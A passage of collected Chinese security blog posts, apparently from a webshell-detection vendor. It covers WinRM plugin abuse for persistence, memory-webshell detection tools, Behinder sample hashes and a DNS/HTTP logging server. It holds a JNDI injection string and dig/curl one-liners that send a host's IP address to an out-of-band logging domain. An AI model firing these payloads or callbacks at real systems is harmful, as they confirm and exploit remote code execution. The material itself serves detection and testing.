<Resources> <Resource ResourceUri="http://test.evilcorp.com/Test" SupportsOptions="true" ExactMatch="true"> <!-- 可为每一个资源单独配置安全描述 --> <Security Uri="http://test.evilcorp.com/Test" ExactMatch="true" Sddl="O:NSG:BAD:P(A;;GA;;;BA)(A;;GA;;;IU)(A;;GA;;;RM)S:P(AU;FA;GA;;;WD)(AU;SA;GXGW;;;WD)"/> <!-- 定义当前资源上允许的动作 --> <Capability Type="Get"/> </Resource> </Resources></PlugInConfiguration>

命令行注册命令为:

winrm create winrm/config/plugin?Name=Test -file:test.xml# 注册完成后需要重启winrm服务来应用更改,这是一个很大的缺陷sc.exe stop winrmsc.exe start winrm

执行winrm get http://test.evilcorp.com/Test验证:

插件的限制

  1. 插件DLL只能放在%windir%\System32(32位在SysWOW64)和%ProgramFiles%或子目录;

  2. 新插件注册需要重启WinRM服务(但是修改已有插件会自动应用修改);

    解决:修改现有插件的注册表配置,将XML中的Filename修改到c:\Program Files,编写DLL动态转发原DLL相关功能,并实现自己的目的。

  3. 插件输入输出很麻烦,必须是XML格式,不利于工具开发;

    解决:WsmSvc.dll提供了SHELL功能,能够直接收发二进制数据。

  4. 无法随WinRM服务自动启动,需有客户端访问才会加载插件DLL。

0x03 Remote PSSession 输入输出传递分析

前面说到了二进制输入输出的需求,如果直接使用WSManPluginObjectResult是无法直接输出二进制数据的,需要自己构造,并且Get等动作无法实现”长连接“效果。而这些问题在远程的PSSession中不存在,那么是否可以深入了解其实现原理,借鉴到自己的插件上呢?

WSMan.Automation

首先来看winrm的执行过程,执行winrm时最终执行的是winrm.vbs,通过查看该文件源码可得知最终是通过WSMan.Automation这一COM完成操作。

'Create an instance of the WSMAN.Automation Classset wsmanObj = CreateObject("WSMAN.Automation")

使用OleView查看该COM所包含的TypeLib定义,其中比较关键的是IWSManEx以及IWSManSession,IWSManSession中看到比较熟悉的Action相关方法:

没有看到与数据交互有关的方法,同时winrm也并没有提供一个叫做shell的子命令。
程序集Microsoft.WSMan.Management中用到了{BCED617B-EC03-420b-8508-977DC7A686BD} COM,也就是WSMan.Automation的GUID:

WsmSvc.dll!WSManSendShellInput

再来看远程PSSession执行时的情况,在System.Management.Automation.Runspaces.Internal.ClientRemotePowerShell的构造函数中有这样一段:

继续跟进CreatePowerShellDataStructureHandler方法,调用了虚方法CreateClientCommandTransportManager

WSManClientSessionTransportManager类实现了CreateClientCommandTransportManager方法:

WSManClientCommandTransportManager::SendData
最后调用WsmSvc.dll!WSManSendShellInput完成输入数据的传递,在MSDN可查询该函数的文档,同时Windows SDK也包含该函数的定义在wsman.h头文件中:

0x04 实现远程连接命令执行的BOF

由于BOF存在的一些限制(比如无法长期保持内存),然而WinRM的API存在持续性回调用户代码行为,故实现长会话的PSSession比较困难,这里采用执行一次连接一次的方式,只为给大家提供一个思路~

Github链接:https://github.com/219adlab/winrmsh

测试环境: CS4.5

0x05 总结

WinRM是一个成熟的、在Windows生态中应用广泛的管理协议,在渗透实战中可优先考虑使用WinRM进行横向和权限维持,通过本文对WinRM原理、实战的一些分析,希望能为攻击与防御带来更多的思路。

0x06 参考链接


阅读原文

跳转微信打开

内存马专杀开放下载 | 当杀疯了的内存马遇到河马

2022年8月3日 17:00

原创 河马ShellPub 2022-08-03 17:00 北京

河马内存马检测工具正式公测

这是七月最后一天,与往日并无不同,

同样的桑拿天,同样的炎热。

并不平常,因为你在等一个信号。

虽素未蒙面,但你知道他会来。

信息大屏上各种数据不断更新,一切都显得那么平静。

旁边小哥泡面的香味,引起一阵进食的欲望。

但你只看了一眼桌角贴着的便签,记录着最新的漏洞信息:



就让你抢个先手,但也暴露了你的招式

RCE?!下一招必然会是内存马!
那么工具是冰蝎?抑或哥斯拉?

一年了,你的内存马攻击可有新的变化?


信息大屏上快速闪过几条日志信息,
“来了”,微眯的双眼迅速睁圆,
“172.16.x.xxx”,手指一片飞舞,
话音未落,已经进入相应的主机,
黑底的SSH上跳跃着一行行白色命令:
${jndi:ldap://xxxx.com.cn}
……
果然是内存马,还能有什么新花样!

也接我一招,专破内存马!

几分钟后,屏幕上跳出一行结果。

“重启吧。”你关掉ssh终端,对旁边的甲方小哥说。

“你刚刚用的是ShellPub吗?”

你转过头去,认真地说:“ShellPub,是的,但我更喜欢叫它——河马!”


ShellPub,河马内存马检测工具正式公测:


Linux版,专用于Java类内存马检测

  • 自动识别包括Tomcat、Weblogic、Jboss 环境;
  • Spring等打包环境支持手动指定进程方式,因此第三方Java应用(gitlab,ES)都可以检测;

 Windows版

  • Java内存马检测, Java6+; OA系统、办公系统;
  • Net内存马,IIS等场景下的.net内存马检测。

全面覆盖内存马常见场景,可检测冰蝎、哥斯拉等内存马利用工具注入的内存马。


河马是如何检测内存马的?


就绝大多数情况而言,内存马的恶意代码并无不同,只是因为位于内存之中,传统工具无法触达而已。既然恶意代码位于内存之中,那就到内存中去找。

但关于在哪儿检测恶意代码,目前有两种方式:

 在内存中检测

这种方法是将检测的agent注入内存中,Hook关键的类,无论内存马是动态注册,还是基于agent修改字节码,都可以预先被检测agent感知到,然后运行检测代码。

这种方法的优点很明显,即可以做到事前预防,甚至还可以主动阻断内存马的攻击。但缺点同样明显,检测agent在业务JVM中运行,占用计算资源,必然会影响到正常业务逻辑。

 在内存中找,在硬盘上检测

同样是使用agent技术,进入目标JVM中,遍历筛选可疑的类,然后dump到硬盘,将类字节码反编译为Java代码后,再进行恶意代码检测。

相比前一种检测方法,这种方法相对比较温和,对正常业务的侵入性较弱。

ShellPub河马当前既支持Agent方式检测,也支持无Agent方式检测。

尽管内存马的攻击手段越来越隐蔽,但攻防双方的技术总是螺旋上升的,只要有攻击,必然有防守,专注于Webshell查杀研究的河马也将持续努力,为大家提供使用更简便、检测更精准、高效的内存马检测工具。

如何获取内存马检测工具:


  1. 关注SHELLPUB公众号

  2. 在后台回复【winmem获取Windows内存马检测工具

  3. 在后台回复【linuxmem】获取Linux内存马检测工具

获取工具后会得到我们的交流群密码,群里有开发小哥哥为你处理BUG,也有专门的分析师帮你分析内存马样本!



点击下方名片,关注我们

如果不想错过消息,可以星标  


阅读原文

跳转微信打开

SHELLPUB完整检测冰蝎4.0

2022年7月25日 18:25

原创 河马ShellPub 2022-07-25 18:25 北京

SHELLPUB已支持检测冰蝎4.0

2022-07-25 T08:36 GMT+8 rebeyond在GitHub上更新了冰蝎4.0。

新增多个特性,包括无文件内存马,经验证,SHELLPUB可完整检测冰蝎4.0。



关于“冰蝎”


"冰蝎"是最为流行WebShell管理工具之一,第一代WebShell管理工具"菜刀"的流量特征比较明显,很容易就被检测。冰蝎的流量是加密的,能够有效规避流量设备的检测;"冰蝎"客户端用Java开发,最新版本为v4.0,管理端跨平台,支持ASP/ASPX/JSP/PHP多种环境。在最新的v4.0中支持Java Agent无文件落地注入内存马。


检测


在线查杀 n.shellpub.com检测

内存马专杀工具检测

OneEDR检测



相关样本



sha256

md5

描述

6efd0920eda270d01dab8de9060ee847e875ed3fe3627c6ec775efacbba2ae72

638b15cba12dc170d13a91ad4b5e4156

Behinder.jar

5e9f6acdaf21f2f93fceaa18996a58ca34b518b75b61156d19ff24c37ded2191

3ea302b24aca8cd97b3bcd1276c44ca3

json jsp

988596eb5a7f19a2343032c61de3a38632dbc2682ab7e314125cdd1e9533ef50

ad389fc59a29d66e5f44a9354171539f

xor php

92368c08ec09b80eb4af6a1ffb7973071ca1d393257f15e99efe1de40aa59c2d

65d87bc16518a4e33e868cb5a0555ffa

xor asp

8c655466bf2b340db8166f50b61c233b5e39011dd039d450db2bb368c9e0b48a

d041c0181b76c7da83591e07449cac75

xor aspx

e87ec0d15c550a7db4b5bcaa6cb8c63c5e8207937a16867e6e8150ddc5d40db7

7c27754711d1f67c94d3cdbc6be9c3d8

xor jsp

988596eb5a7f19a2343032c61de3a38632dbc2682ab7e314125cdd1e9533ef50

ad389fc59a29d66e5f44a9354171539f

xor base64 php

ce8407de5c86bcc249d0e89c407ece6233c52d4eeed520ff54db6f9bde00eda8

be8aaa55fc45296d40bf332ba762d80c

xor base64 jsp

af7117c285d449dfcbd5cdd99678dfb9b3807dc183565ac7ed7d6636d4bf15a7

af2687a7d19f0ee52b8f49a475ab8fd0

aes php

210da359b6447889dcdbe205b118e2565e88002016b61b01ac26169232634215

68772cf43532803b28d2aceefa61398d

aes aspx

788f6be941d57d3fbe997821d3e021f14a4abc503f8f20454dcc7813c2183b6b

bb96d88d130943e0a1e708ac13df4358

aes jsp

9d773f5cbe81e8ceddf90e57814559cea3ae6fcae527635cb5aaa21acf1fcc4d

a52e26d8c3286c6005befb60cf2ab63c

image jsp


参考链接


https://www.aqniu.com/vendor/73751.html

https://github.com/rebeyond/Behinder



联系我们


任何疑问,欢迎随时联系我们。

QQ交流群:971146821





点击下方名片,关注我们

如果不想错过消息,可以星标  


点击“阅读原文”,立即体验河马在线查杀

阅读原文

跳转微信打开

利用Confluence漏洞攻击的WebShell,河马已支持查杀

2022年6月3日 16:28

原创 河马ShellPub 2022-06-03 16:28 北京

河马已支持Confluence WebShell检测

端午佳节,笔者注意到国外媒体发了《Zero-Day Exploitation of Atlassian Confluence》的分析文章。其中公开了WebShell攻击样本,攻击者在成功利用Conflunce Server系统之后,立即植入了冰蝎(Behinder)内存马,接着上传了两个WebShell。



关于 Confluence


Confluence是一个专业的企业知识管理与协同软件,我们常说的Confluence jira、wiki均是其旗下产品。产品分为标准版和企业版,前者免费,可以自由搭建,后者为付费商业增值服务。Confluence 已经在超过100个国家,13500个组织中成功地应用于企业内网平台、知识管理及文档管理,涉及财富1000企业、政府机构、教育机构、财务金融机构及技术研究领域。



WebShell样本分析


样本1

FileName

noop.jsp

FieSize

537

MD5

f8df4dd46f02dc86d37d46cf4793e036

SHA1

4c02c3a150de6b70d6fca584c29888202cc1deef

样本1为文件上传小马,攻击者利用小马可以进一步上传大马和其他后门。


样本2

FileName

.jsp

FieSize

8624

MD5

ea18fb65d92e1f0671f23372bacf60e7

SHA1

80b327ec19c7d14cc10511060ed3a4abffc821af

样本2为修改后的菜刀JSP后门,在github公开的仓库已收录。


注: 菜刀即中国菜刀是常见WebShell管理工具,常见的管理工具还有蚁剑 (AntSword)、冰蝎 (Behinder) 、Weevely等。


当前这两个样本河马在线查杀和客户端均可以检出。

河马的内存马专杀攻击亦可检出冰蝎内存马。

  • 在线查杀:


  • 河马客户端:


关于内存马检测,笔者在这里做一个预告:

  • 河马Linux版内存马检测工具:支持各类Java内存检测

  • 河马Windows版内存马检测工具:既支持.Net内存马,也支持Java内存马检测


目前均在内测阶段,稍后放出,请大家关注我们。



修复建议


  1. Confluence类产品多数应用场景为企业内部办公协同,建议放在内网;

  2. 即时更新Conflunce;

  3. 务必扫描Conflunce目录下是否存在WebShell, 推荐使用河马在线查杀https://n.shellpub.com。



联系我们


关于WebShell检测、河马在线查杀、河马客户端疑问欢迎随时联系我们。

祝大家端午安康!

QQ交流群:971146821




点击下方名片,关注我们

如果不想错过消息,可以星标  


点击“阅读原文”,立即体验河马在线查杀

阅读原文

跳转微信打开

河马WebShell检测 | 再战机器学习

2022年5月20日 13:01

原创 河马ShellPub 2022-05-20 13:01 北京

机器学习已合并到在线查杀https://n.shellpub.com的正式环境


2017年10月我们上线了一版机器学习https://ml.shellpub.com, 之后长期处于“试验阶段”,当时的模型召回率始终无法达到理想状态。机缘巧合,我们加入了微步在线;有微步专业的机器学习团队支持,我们决定再战机器学习。

河马在线旧版机器学习查杀


在样本这块白样本和黑样本的比例大约是15:10,在实际对抗中深度学习检测模块展现出了强大的能力。深度学习模块不依赖正则匹配,而是将文本数据在保留文本信息的条件下转换成不同的结构化数据进行分析。能够有效解决变形和混淆问题和各种新样本绕过的问题。AI技术在文件检测领域往往被诟病为,新样本检出率低、线上线下效果差异大、无法有效解释等问题。自研深度学习模块,使用了大量前沿技术技巧,从不同的维度对恶意代码进行全面解析,使模型可以学到代码的深层次含义。

引擎

特征选择

检出

神经网络

opcode序列

96.74%

xgboost

AST特征序列

98.78%

预训练大模型

文本序列

98.21%

yara引擎

-

90.32%

某最新公开引擎

-

95.57%

神经网络

多维特征整合

99.37%

检出测试结果表


一般的AI技术会提取恶意样本中的敏感函数、信息熵、文件重合指数、标签数等等特征,通过传统的机器学习或者简单深度学习进行训练得到检测模型。这样做的确有一定效果,但在抽取特征的时候丢失了大量文件信息,这些信息在某些情况下会影响模型的判断。微步的WebShell检测引擎在大量实验后,细化了常规的特征提取,确保信息的抽取更准确;此外从多个维度抽取文件信息,确保信息的抽取更加全面。


例如我们也会抽取敏感函数,我们会细化函数分类,精准确定函数执行位置和执行情况;我们舍弃传统的信息熵和文件重合指数作为混乱度指标,采用深度学习方法更精准的计算代码混乱度;我们不仅从语法树AST角度抽取信息,我们还从文本、字符、字节码维度共同抽取文本信息,让深度学习从多维度视角理解代码,做出更准确判断。


传统的WebShell检测检出率在90%左右,一般的AI检测手法在95%左右,而我们的WebShell检测引擎检出率在99%以上。
深度学习模块架构


如今机器学习已经完全合并到在线查杀https://n.shellpub.com的正式环境中,作为河马WebShell检测的重要引擎,同时ml.shellpub.com也正式下线。


多引擎检测WebShell





福利抽奖活动

SHELLPUB出新版本啦!还有福利抽奖活动!详情请戳 ↓↓↓

SHELLPUB在线查杀更新公告(文末抽奖)






点击下方名片,关注我们

如果不想错过消息,可以星标  哦~

阅读原文

跳转微信打开

SHELLPUB在线查杀更新公告(文末抽奖)

2022年5月18日 18:57

原创 河马ShellPub 2022-05-18 18:57 北京

河马ShellPub更新(内含福利)

| 本文约1050字,阅读时间约为3分钟 |

密克戎在2021年末开始全球蔓延,传播力有些凶残,有些防不胜防。网络安全很多名词都是从生物防疫中借鉴来的,可以说网络安全起源于“防疫”。计算机病毒就是借鉴了生物学上的“病毒”概念,网络就如同病毒传播的空气、水、宿主一样提供了传播环境。某种角度上来说快速变异的奥米克戎有点像灵活多变的WebShell,防不胜防。对于奥米克戎防护请严格遵守防疫规定,积极配合防疫政策而WebShell检测防护我们决定把近期的一些积累,一些研究成果以新版本的形式开放出来,服务大家。

文末送几个跟防疫、居家办公有关的礼品。

 产品更新


启用新LOGO;

► 前端重构,前后端分离架构,首屏只有两页,更简洁;


► 新增最近查询历史,方便用户扫描多次后查看历史扫描记录;


► 新增上传进度和扫描进度实时显示;

► 支持结果导出,在扫描完成后可以在结果页面下载CSV结果,格式同河马客户端结果一致;


► 升级消息队列,修复任务负载不均衡的问题。


 检测更新


新版检测能力提升如下图所示:

  • PHP检出提升29.7%

  • JSP检出提升33.3%

  • ASP检出提升13.9%

  • ASPX检出提升10.7%

► PHP
  • 新增PHP机器学习模块,大幅提高大马的检测速度和准确率

  • 考虑到扫描速度,临时下线深度检测模块(近期会重新上线,预计2周内)

  • 静态分析模块灰度上线;

  • 新增PHP网络连接/反弹Shell检测;

  • 增加若干大马规则;

  • 增加若干加密混淆WebShell检测;

  • 增加若干命令执行类WebShell检测;

  • 增加自定义函数WebShell检测;

  • 修复了若干误报;


► JSP
  • 新增JSP解码器,解决JSP多种编码绕过的情况

  • 增强ear,war等文件类型的WebShell检测,大幅提高准确率和检出速度;

  • 新增ScriptEngine脚本引擎类型的WebShell检测规则;

  • 新增自定义ClassLoader类型WebShell检测;

  • 新增若干生成器生成WebShell检测;

  • 增加若干反序列化WebShell的检测;

  • 增加若干脱裤脚本检测;

  • 更新若干WebShell管理工具规则;


► ASP
  • 增加24条命令执行;

  • 新增6条大马规则;

  • 新增若干注册表、数据库、重要文件等敏感操作规则;

  • 更新若干WebShell管理工具规则;

  • 优化性能提高扫描速度;


► ASPX
  • 新增解码器,解决一些编码绕过问题

  • 新增若干网络连接/反弹Shell规则;

  • 新增几类脚本执行命令的检测规则;

  • 新增若干编码混淆检测规则;

  • 更新若干WebShell管理工具规则;



 联系我们

您在检测中遇到问题或者对结果有疑问,欢迎通过以下方式联系我们:

► QQ:971146821(交流群)/ 188499481(客服)

Email:service@shellpub.com





福利抽奖活动

活动奖品:


参与方式:

1. 转发本文到朋友圈(不要分组,开奖前不要删除);

2. 将截图发送到下方抽奖活动群;

3. 5月23日在活动群内开奖,工作人员验证转发截图,安排礼品寄送。

P.S. 每位中奖的同学将额外赠送纪念徽章1枚~


注: 物流情况受疫情影响,送达时间可能存在延迟。


阅读原文

跳转微信打开

Java内存马检测专题直播 Q&A

2022年1月12日 17:20

微步安全学院 2022-01-12 17:20

关于Java内存马检测的疑问解答

1月6日晚,我们在微步安全学院进行了Java内存马检测的专题直播,可以点击文末阅读原文回看直播、下载PPT。

以下是对于直播间内大家普遍关注的问题的解答。

目前主流修复方式都是升级,或者加参数、删class重启,是不是就没内存马问题了?除了关机,还有其他方式干掉内存马吗?

重启即可,一般来说内存马重启后就没有了。但是如果检测到了内存马则说明机器已经被攻陷,最好整个系统都要做一下安全检测,找到漏洞修复。另外,可以选择专业的网络安全服务商。比如,微步在线 OneEDR,可以提供专业的主机威胁检测与响应服务。

针对容器中的Java进程,在宿主机上可以检测吗?还有一点,attach到Java进程很可能会影响到业务,这里河马有什么避免吗?

我们在检测过程中做了一些优化,降低了 attach 后的开销,但是要说百分比不影响业务这个也不能保证,对于高并发生产环境中使用的时候慎重一些,一定要有人值守。

如何通过日志看加载过哪些恶意class?

无法通过分析 catalina.out 日志分析加载的 class。可能存在的痕迹在 Web 的 access log 中排查类似反序列化/文件上传的请求包,以及类似连接 WebShell 的请求包。但是无论哪种日志,都无法排查加载了哪些恶意的 class。

请问可以检测哪些类型的内存马?

Java 内存马理论上支持主流的 Web 服务器,tomcat/jboss/weblogic 都支持自动检测,springboot 需要指定进程的方式检测。

河马检测能具体看到加载的恶意类信息吗?

检测结果中包含了加载的恶意类包名称。

内存马是不是只和Java开发的系统有关?

严格意义上来说,内存马的概念包括 Java 内存马和其他情况,Java 内存马属于内存马的一种,我们的内存马检测这里专指 Java 内存马。

会有绕过检测的情况吗?

暂未发现,我们收集到绕过的情况会第一时间修复,如果您怀疑中了内存马,可以将导出的文件发给我们,我们帮您分析并改进检测,感谢支持。
可扫码加入专属微信群,或者通过官方QQ群(971146821)随时与我们交流沟通。

(1月18日前有效)

河马内存马工具开源吗?

暂时无此计划,目前我们主要经历还是投入在提升检测能力和新版引擎开发。

杀毒软件能杀吗?

病毒和 WebShell 不是一回事,暂时没有听说哪家杀毒软件能够杀 Java 内存马。

这个工具可以脱网使用吗?

可以的,在本地环境运行即可,联网的话结果会加载河马的云查能力,能力更强。

河马有企业版么?

暂时没有,您有具体需求可以跟我们进一步沟通。


- END -


点击阅读原文,回看内存马检测专题直播

阅读原文

跳转微信打开

初识Java内存马检测

2021年12月30日 08:47

原创 河马ShellPub 2021-12-30 08:47

搞定Java内存马(一)

近些年,无文件攻击技术越来越流行。本文旨在介绍无文件攻击中最为流行的一种技术——Java内存马,让企业、用户了解和重视其危害性,提高防范意识,降低安全风险。 

- 全文约1500字,预计阅读时间为4分钟 -

前言


在Ponemon Institute给出的一份网络安全报告中显示,2018年所有的网络攻击中,35%是无文件攻击。

据Dynatrace的不完全统计,2020年成功的勒索病毒攻击事件中,有超过80%是通过无文件的方式完成的。同年新增的大部分新型勒索病毒样本也大多采用了无文件技术。

互联网始于1969年美国的阿帕网,2000年之后进入高速增长,数据增长速度远超摩尔定律,这对企业的网络、存储、应用都提出了很大的考验。Java以其成熟且稳定的技术体系,在互联网的潮流中激流勇进,成为了最主要的语言,成为了企业的最爱。


Java内存马(以下简称“内存马”)也开始逐渐进入人们的视野中。由于其无文件的特性,可以有效躲避传统安全设备的检测,所以在近年的护网行动中内存马也逐渐成为了攻击方的常备武器之一。


在2017年的《看不见的Shell》文章中就已经提出了通过动态注册servlet在tomcat中注册内存马。而在一份2019年的Java生态报告中显示,tomcat仍是Java开发者中使用最广泛的web服务器,市场占有率高达73%。


此后随着冰蝎将Java Agent技术应用在Java内存马上以后,拓宽了内存马的使用场景,对内存马的研究和使用开始越来越火,2020年出现了更多针对特定框架使用的内存马,其中包括了在Java Web中占据主导地位的Spring。(Spring框架在Github上已有超过45k stars)


Java Web内存马作为众多WebShell的一种,在了解Java Web内存马之前我们先回顾一下什么是WebShell,它有哪些危害。


什么是WebShell?


WebShell通常指攻击者所使用的一种恶意脚本,其目的是为了获取web服务器的命令执行操作权限,来达到执行系统命令,窃取服务数据等恶意目的。WebShell所使用的语言类型往往和web服务的后端环境有关。


WebShell类型变迁


WebShell最初是以网站或者服务器管理的形式存在的,后来逐渐演变成功能较为齐全的“大”,能够支持在渗透过程中可能用到的各种功能,比如文件管理,命令执行,端口扫描,反弹shell等等。但是功能齐全也意味着文件体积较大容易暴露或者直接被限制大小无法完成上传。随之也就衍生出了小马(体积较小,隐蔽性强),最重要的是在与图片结合一起上传之后利用nginx或者IIS6的解析漏洞来运行,一般只包含上传文件功能,然后通过小马拉大马。随后还出现了更加短小精悍的一句话木马。


主流WebShell工具


冰蝎

冰蝎是一款现在较为流行的WebShell工具,原因在于其拥有着极其优秀的加密通讯的特点,可以选择通过预共享密钥机制使其通讯全程秘文进行。并且在最新的版本中支持利用Java Agent技术对多种Web容器注入内存马的功能。并且在使用冰蝎时产生的TLS流量与正常访问网页的TLS流量在行为特征上差异很小。传统的WAF,IDS等设备对其检测有较大的难度。简单设置后就可以完成shell管理。


哥斯拉

哥斯拉的通讯流量和冰蝎一样也是加密过的,并且其号称其全类型的shell能够绕过市面上大部分的静态查杀。同时还能够提供各种插件配置,一键生成shell脚本等功能,在新版本中同时也支持了Java内存马的注入功能。


常见的检测思路

1. 静态特征匹配

由于WebShell需要传递命令以及执行命令,所以可以针对一些危险函数的调用进行匹配来判断是否为WebShell


2. 文件完整性检测

由于大部分类型的WebShell的实现需要涉及到文件的新增与修改,可以实时监测web服务中的文件是否涉及到以上特性的变化。


3. 动态行为检测

通过监控提供Web服务的进程在系统上执行了哪些系统命令来动态监测分析该行为是否是一个正常行为。


内存马的检测难点

由于内存马仅存在于进程的内存空间中,很多传统的检测防护手段对其无能为力。同时内存马的种类也十分繁多,根据不同的脚本类型,Web中间件存在各种触发机制不同的内存马,没有稳定的静态特征。在下一篇,中我们会针对Java Web内存马进行深入分析。


关于Java内存马检测,我们将在微步安全学院进行专题直播,2022年1月6日晚19:10开播,同时也会在直播间发布河马Java内存马专杀工具,感兴趣的伙伴可以长按识别下图二维码报名。



阅读原文

跳转微信打开

河马正式加入微步在线

2021年12月24日 16:29

2021-12-24 16:29

我们会继续免费。

各位好,通知大家一个重要的事情,河马查杀(ShellPub)已加入微步在线。

 

微步在线是中国新一代网络安全公司代表、威胁发现与响应领军企业,是威胁发现与响应专家,是一家非常优秀的网络安全企业。这次加入,对河马是一个全新而且重要的选择。

 

不忘初心,专注查杀。“让世界不再受webshell困扰”始终是我们的目标。


请大家放心,我们会持续更新,客户端、在线查杀等产品会继续免费提供给大家,并提供一如既往的服务。我们近期会陆续更新一些新的版本,请继续支持我们。如果在使用中遇到问题可以通过以下方式联系我们,给我们提意见、建议和误报漏报反馈。

 

QQ: 188499481

误报/漏报反馈: feedback@shellpub.com

产品服务: service@shellpub.com

公众号: gh_f779ec60843d


阅读原文

跳转微信打开

SHELLPUB 升级维护公告

2021年7月8日 17:58

原创 admin河马 2021-07-08 17:58

河马查杀服务端将于明日升级


随着云原生架构的流行,也为了河马查杀的后续发展,近期重构了一下底层,计划于北京时间2021年7月9日晚19:00对整个服务端进行升级维护,预计整个升级维护过程约为1个小时。整个维护过程中可能造成部分服务中断报错,如果遇到报错提示,请稍后重试。


关于河马查杀使用过程中遇到的问题,包括本次升级中遇到的问题,可以通过文末的联系方式与我们进行沟通。



 更新内容


// 在线查杀

  • zip 上传后创建任务使用事务性发件箱模式,保证扫描服务的可靠性
  • 考虑扫描量和开发 API,扫描节点根据扫描任务量弹性伸缩,按需提高扫描速度
  • *支持扫描实时进度实时更新,待前端升级后一起发
  • 合并客户端和扫描节点代码,不再单独维护服务端扫描节点
  • 扫描结果页面去掉了 sha1


// 官网

  • 修复 CNZZ 站长统计代码导致主页卡顿数秒的问题



 影响范围

升级维护预计会在数分钟内完成,最长1个小时。


  1. 在维护升级过程中,查杀客户端可能会提示云服务连接中断,为稳妥起见,请在错误提示后重试。

  2. 在线查杀和官网可能出现 502,请过几分钟后刷新重试。升级后,在线查杀的部分历史扫描数据不可用。
  3. 下载、更新失败。建议不要在该时间段进行升级,以免出现升级错误。



 维护范围


  1. 官网与博客

    https://www.shellpub.com

    https://blog.shellpub.com

  2. 在线查杀 

    https://n.shellpub.com

  3. 云端程序 

    https://api.shellpub.com

  4. 下载与更新 
    http://dl.shellpub.com

    http://update.shellpub.com

  5. 机器学习查杀 

    https://ml.shellpub.com



 联系方式


QQ: 188499481

邮箱: service@shellpub.com





点击下方名片,关注我们

如果不想错过消息,可以星标  哦~


阅读原文

跳转微信打开

河马查杀支持对冰蝎V3.0 Beta 7检测,无需更新!

2021年4月10日 12:15

admin河马 2021-04-10 12:15

河马查杀支持对冰蝎V3.0 Beta 7 检测,各位管理员朋友们无需升级,可以直接使用。


最近发现冰蝎新增了内存马注入,用河马查杀试了一下,可以直接检出冰蝎V3.0 Beta 7 ,各位参加重保的安服小伙伴和管理员朋友们无需升级,可以直接使用。


检测效果



如下图,发现5个后门



下载河马



点击“阅读原文”链接,跳转河马查杀官网,点击“立即使用”下载您需要的版本。


目前可用的版本有:Windows、Linux amd64、Linux 386

阅读原文

跳转微信打开

GODNSLOG | v0.3.0 更新日志

2020年9月1日 09:14

admin河马 2020-09-01 09:14

v0.3.0更新日志,API定版,提供python和golang客户端

New Features

  • 【前端】添加网站标题

  • 【前端】在配置->系统->安全配置页面添加HTTPLOG地址显示

  • 【前端】HTTPLOG URL字段修改为PATH字段

  • 【后端】查询api定版,提供了python和golang版本的客户端

  • 【后端】优化数据库,将待查询字段单独抽取成列,利用索引提高查询效率

  • 【-】使用docker hub自动化构建

Known issues

  • 【前端】introduce/文档的mavon-editor会遮挡下拉菜单

  • 【前端】修改语言不能保存到后端

  • 【前端】口令失效后的一些重复提示

  • 【前端】英文文档缺失,文档目录$SRC/frontend/src/md/,欢迎大家提交PR

  • 【后端】主动推送未经测试

TODO

  • 【前端】英文文档

  • 【后端】主动推送测试

Other

本次改动HTTPLOG不再依赖DNS解析,直接通过IP访问,所以如果使用nginx做方向代理时需要添加default_server或者IP地址

server {
listen 80 default_server;
server_name www.godnslog.com *.godnslog.com;
# Load configuration files for the default server block.
access_log /var/log/nginx/www.godnslog.com.access.log;
error_log /var/log/nginx/www.godnslog.com.error.log;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
location / {
proxy_pass http://127.0.0.1:8080;
}
}

严正声明:
本项目旨在提供甲方安全检测服务、安全开发交流用,不得用于非法用途。

演示网站

https://www.godns.vip

测试账号:

  • test1/test123456

  • test2/test123456

  • test3/test123456

  • test4/test123456

  • test5/test123456

  • test6/test123456

  • test7/test123456

  • test8/test123456

  • test9/test123456

  • test10/test123456

不支持多用户共用一个帐号,后登录会踢掉前面的登录的用户

注意: 演示网站仅提供演示功能,不要用在实际环境,随时可能重启升级!

结语

项目地址:https://github.com/chennqqi/godnslog

如果你对这个项目感兴趣;如果你在使用体验中遇到问题需要反馈交流;如果你想吐槽我糟糕的设计、编码;如果你想反馈BUG;如果你对DNSLOG有些新的想法,想在GODNSLOG上实现;欢迎关注我们的公众号gh_d110440c4890,在公众号后台跟我交流。在后台回复"交流群"加入交流群

别忘了关注我们

更新历史

GODNSLOG | 开源一个新鲜的DNSLOG


阅读原文

跳转微信打开

​GODNSLOG | 开源一个新鲜的DNSLOG

2020年8月28日 18:01

原创 admin河马 2020-08-28 18:01

A dns&http log server for verify SSRF/XXE/RFI/RCE vulnerability

背景动机

之前有一段工作是跟漏扫相关的,在开发漏扫时有DNSLOG这么一个需求,当时考虑到时间成本没有自己做。虽然现有市面上DNSLOG不少,我还是重复造了一个轮子, 有多个原因。现有的开源DNSLOG体验没有一些知名闭源的DNSLOG平台好,站在甲方的立场自建的服务总归是比使用公共服务好一些,毕竟没有多少人愿意把自己的漏洞情况让第三方知道。此外现有DNSLOG平台IP已经上了威胁情报名单,在不少环境这些IP直接就被干掉了,特别是在公有云环境下。所以甲方自建DNSLOG服务非常有必要。现有的开源DNSLOG python项目居多,也有个别golang的,在我看来安全开发的技术架构方向一定是微服务化、SaaS化,python程序封装成docker体积确实有点大。刚好最近看了一点vue,想写个东西练练手,就把这个事情捡起来。GODNSLOG前端是套了ant design vue pro,后端用golang开发。

功能特性 & 用法简介

  • 1. DNSLOG
每个用户分配一个唯一的三级域名,该域名或其子域名的所有解析记录均会被记录。
请求记录超过设置的最长时间会被自动清理,自动清理时间设置范围是1-48小时
dig `/sbin/ifconfig eth0|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"`.ktqlujjpgc4j.godns.vip

系统生成域名为{$variable}.ktqlujjpgc4j.godns.vip,其中ktqlujjpgc4j是用户唯一shortId,{$variable}为用户自定义变量

  • 2. HTTPLOG

HTTPLOG也需要用到唯一分配的域名,HTTPLOG地址格式如下,所有访问以下地址的请求会被记录。
请求记录超过设置的最长时间会被自动清理,自动清理时间设置范围是1-48小时
curl http://ktqlujjpgc4j.godns.vip/log/`/sbin/ifconfig eth0|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"`

除了只能用DNSLOG检测的情况,HTTPLOG都比DNSLOG好用一些,在内网环境中配合主动推送可以让检出更有效率,代码也相对简单一些。

  • 3. DNS Rebinding

这是河马安全团队的另一位成员提的需求。目前的策略是每次请求随机返回一个配置列表中的IP,后面再升级一些高级策略

